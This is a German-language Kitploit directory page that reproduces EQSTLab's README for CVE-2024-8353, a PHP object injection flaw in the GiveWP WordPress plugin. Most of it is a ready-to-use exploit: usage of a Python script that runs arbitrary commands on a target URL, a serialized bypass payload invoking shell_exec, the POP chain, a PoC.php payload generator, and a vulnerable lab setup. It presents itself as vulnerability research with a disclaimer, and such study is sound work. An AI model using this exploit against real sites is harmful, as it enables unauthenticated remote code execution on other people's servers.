Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-8353 — GiveWP PHP-Objektinjektions-Exploit | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2024-8353
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-Entwicklung
GitHubeqstlab/cve-2024-8353

CVE-2024-8353

GiveWP PHP-Objektinjektions-Exploit

Repository anzeigen
122vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Dieser Beitrag ist ein Forschungsartikel, veröffentlicht von EQSTLab. Dank an cuokon, der diese Schwachstelle entdeckt hat.

Einleitung

Weiterführende Analyse CVE-2024-5932 EQST Insight R&T(PDF-Datei).

https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021

CVE-2024-8353

★ CVE-2024-8353 Willkürliche Dateilöschung und RCE PoC ★

Beschreibung

CVE-2024-8353 : GiveWP PHP Object Injection Schwachstelle

Beschreibung: Das GiveWP – Spenden-Plugin und Fundraising-Plattform-Plugin für WordPress ist in allen Versionen bis einschließlich 3.16.1 anfällig für PHP-Objekt-Injection durch die Deserialisierung von nicht vertrauenswürdigen Eingaben über mehrere Parameter wie give_title und card_address. Dies ermöglicht es nicht authentifizierten Angreifern, ein PHP-Objekt zu injizieren. Das zusätzliche Vorhandensein einer POP-Kette ermöglicht es Angreifern, willkürlich Dateien zu löschen und Remote-Code-Ausführung zu erreichen. Dies ist im Wesentlichen dieselbe Schwachstelle wie cve-2024-5932, jedoch wurde entdeckt, dass das Vorhandensein von stripslashes_deep auf user_info die is_serialized-Überprüfung umgehen kann. Dieses Problem wurde größtenteils in Version 3.16.1 behoben, aber in Version 3.16.2 wurden weitere Härtungen hinzugefügt.

Verwendung

⚠️Bei Verwendung des PoC können Sie denselben Befehl nur einmal verwenden, da „give_title“ in der DB gespeichert und auf Duplikate überprüft wird. In diesem Fall können Sie einige Linux-Tricks anwenden, insbesondere Anführungszeichen. Wenn Sie zum Beispiel „echo“ verwenden, können Sie es wiederverwenden, indem Sie es als „e‘’cho“ eingeben.

Git Clone

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-8353.git
cd CVE-2024-8353

Pakete installieren

root@kitploit:~
pip install -r requirements.txt

Befehl

root@kitploit:~
# Remote-Code-Ausführung
python CVE-2024-8353.py -u <URL_TO_EXPLOIT> -c <COMMAND_TO_EXECUTE>

Beispiel

root@kitploit:~
python CVE-2024-8353.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

Ausgabe

CVE-2024-8353.py Alternativtext Alternativtext

Ergebnis

Alternativtext

Angreifbare Umgebung

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. Dann laden Sie das anfällige GiveWP-Plugin herunter:

https://downloads.wordpress.org/plugin/give.3.16.0.zip

3. Entpacken Sie die ZIP-Datei des GiveWP-Plugins und kopieren Sie die gesamte Datei in das Verzeichnis „/var/www/html/wp-content/plugins“.

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. Aktivieren Sie das GiveWP-Plugin

Alternativtext

5. Fügen Sie einen neuen Beitrag mit dem GiveWP-Plugin hinzu und kopieren Sie den Beitragslink

Alternativtext

6. Überprüfen Sie den anfälligen Link

Alternativtext

Debugging mit PHPSTORM

Sie können Ihr GiveWP mit PHPSTORM debuggen.

1. Laden Sie xdebug in Ihrem WordPress (Docker) herunter:

root@kitploit:~
pecl install xdebug

2. Richten Sie dann die php.ini-Datei von WordPress wie folgt ein (Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

...Und dann können Sie Ihr WordPress debuggen.

3. Richten Sie PHPSTORM wie folgt ein (Lokal):

Alternativtext Alternativtext

4. PHPSTORM Beispiel (z. B. TCPDF willkürliche Dateilöschung)

Alternativtext

Analyse

Angreifbarer Punkt (give/includes/process-donation.php)

Im Wesentlichen ist die Sequenz dieselbe wie bei CVE-2024-5932, mit dem Unterschied, dass die „is_serialized“-Logik auch zum Parameter „give_title“ hinzugefügt wurde. Die Methode bestimmt, dass wenn kein Doppelpunkt (:) an Index 1 vorhanden ist, die Daten nicht serialisiert sind.

Alternativtext

Nach der „is_serialized“-Methode entfernt die Funktion „stripslashes_deep“ den Backslash. Der führende Backslash () wird also entfernt und die serialisierten Daten werden weitergegeben.

Alternativtext

Umgehungs-Payload

root@kitploit:~
\O:19:"Stripe\\\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:12:"\0*\0validator";s:10:"shell_exec";s:12:"\0*\0generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:11:"\0*\0settings";a:1:{s:8:"address1";s:15:"touch+/tmp/test";}}s:13:"\0*\0maxRetries";i:10;}}}}}}

POP-Chaining für RCE

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Return command string)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

Angriffsszenario

RCE durch POP-Kette

Die POP-Kette ermöglicht die Remote-Befehlsausführung. Alternativtext

url: https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

Haftungsausschluss

Dieses Repository ist nicht als Exploit für Objektinjection für CVE-2024-8353 gedacht. Der Zweck dieses Projekts ist es, Menschen zu helfen, diese Schwachstelle zu verstehen und möglicherweise ihre eigenen Anwendungen zu testen.

EQST Insight

Wir veröffentlichen einmal im Monat CVE- und Malware-Analysen. Wenn Sie interessiert sind, folgen Sie bitte den untenstehenden Links, um unsere Veröffentlichungen zu lesen. https://www.skshieldus.com/eng/business/insight.do

Tool herunterladen